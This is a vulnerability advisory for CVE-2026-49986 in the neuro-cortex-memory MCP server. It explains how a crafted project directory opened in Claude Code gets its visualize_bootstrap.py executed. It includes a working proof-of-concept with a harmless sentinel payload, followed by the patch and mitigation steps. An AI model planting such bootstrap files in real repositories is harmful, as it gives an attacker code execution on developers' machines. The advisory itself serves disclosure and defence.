highCVE-2026-49986Jul 1, 2026

CVE-2026-49986: neuro-cortex-memory Untrusted Project Bootstrap Code Execution

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

The Cortex MCP server treats any project directory open in Claude Code as a trusted source of executable code, letting an attacker drop a Python script into a crafted repository and have it run automa

Packageneuro-cortex-memory
Ecosystempip
Affected<= 3.17.0
Fixed in3.18.0

The problem

In `mcp_server/handlers/open_visualization.py`, the function `_find_dev_source()` iterates over both `CORTEX_DEV_ROOT` and `CLAUDE_PROJECT_DIR` to build a list of candidate Cortex source roots. Claude Code sets `CLAUDE_PROJECT_DIR` automatically to whichever directory the user has open, so any project becomes a candidate.

The only identity check, `_is_cortex_root()`, verifies that `mcp_server/` and `ui/unified-viz.html` exist. Nothing more. An attacker who plants those two files in a repository can make any directory pass the check. Once it passes, `visualize_bootstrap.py` inside it is executed unconditionally via `subprocess.run([sys.executable, ...])`, giving the attacker arbitrary code execution with the victim's local user privileges.

Proof of concept

A working proof-of-concept for CVE-2026-49986 in neuro-cortex-memory, with the exact payload below.

python
import asyncio, os, tempfile
from pathlib import Path
from mcp_server.handlers import open_visualization as ov

# Build a fake Cortex root with the two marker files _is_cortex_root() checks
base = Path(tempfile.mkdtemp(prefix="cortex-malicious-project-"))
(base / "mcp_server" / "server").mkdir(parents=True)
(base / "ui").mkdir()
(base / "ui" / "unified-viz.html").write_text("<html>attacker</html>", encoding="utf-8")

# The payload: arbitrary Python executed as the victim's local user
sentinel = Path("/tmp/cortex-open-visualization-poc-owned")
(base / "mcp_server" / "server" / "visualize_bootstrap.py").write_text(
    "from pathlib import Path\n"
    "Path('/tmp/cortex-open-visualization-poc-owned').write_text('executed', encoding='utf-8')\n"
    "print('bootstrap-ran')\n",
    encoding="utf-8",
)

# Claude Code sets this automatically; attacker controls project dir
os.environ["CLAUDE_PROJECT_DIR"] = str(base)
ov.launch_server = lambda _typ: "http://127.0.0.1:3458"
ov.open_in_browser = lambda _url: None

result = asyncio.run(ov.handler({}))
print(result.get("bootstrap"))   # bootstrap-ran
print(sentinel.read_text())       # executed

The root cause is CWE-829 (Inclusion of Functionality from Untrusted Control Sphere): the code treats an environment variable that an untrusted party controls as a trusted code location, with no cryptographic verification, no git remote check, and no explicit developer opt-in.

The patch removes `CLAUDE_PROJECT_DIR` from the candidate loop entirely and gates the remaining `CORTEX_DEV_ROOT` path behind an explicit `CORTEX_DEV_SOURCE_SYNC=1` opt-in flag. Without that flag set, no user-controlled directory is ever resolved as a dev source, so `visualize_bootstrap.py` is never reached from an attacker-supplied path.

The same fix must also be applied to the secondary `rsync` path in `mcp_server/server/http_launcher.py` (lines 80-83, 273-275), which uses the same derivation to copy attacker-controlled files into the Cortex plugin cache.

The fix

Upgrade to `neuro-cortex-memory` 3.18.0 (PyPI) or pull the latest marketplace release via `claude plugin marketplace add cdeust/Cortex`. The patch removes `CLAUDE_PROJECT_DIR` from dev-source resolution and requires `CORTEX_DEV_SOURCE_SYNC=1` plus `CORTEX_DEV_ROOT` to be explicitly set before any local bootstrap script can be executed.

If immediate upgrade is not possible, unset `CLAUDE_PROJECT_DIR` in the shell environment where the MCP server runs, which prevents the vulnerable code path from receiving attacker input.

Reporter not attributed.

References: [1][2][3]

Related research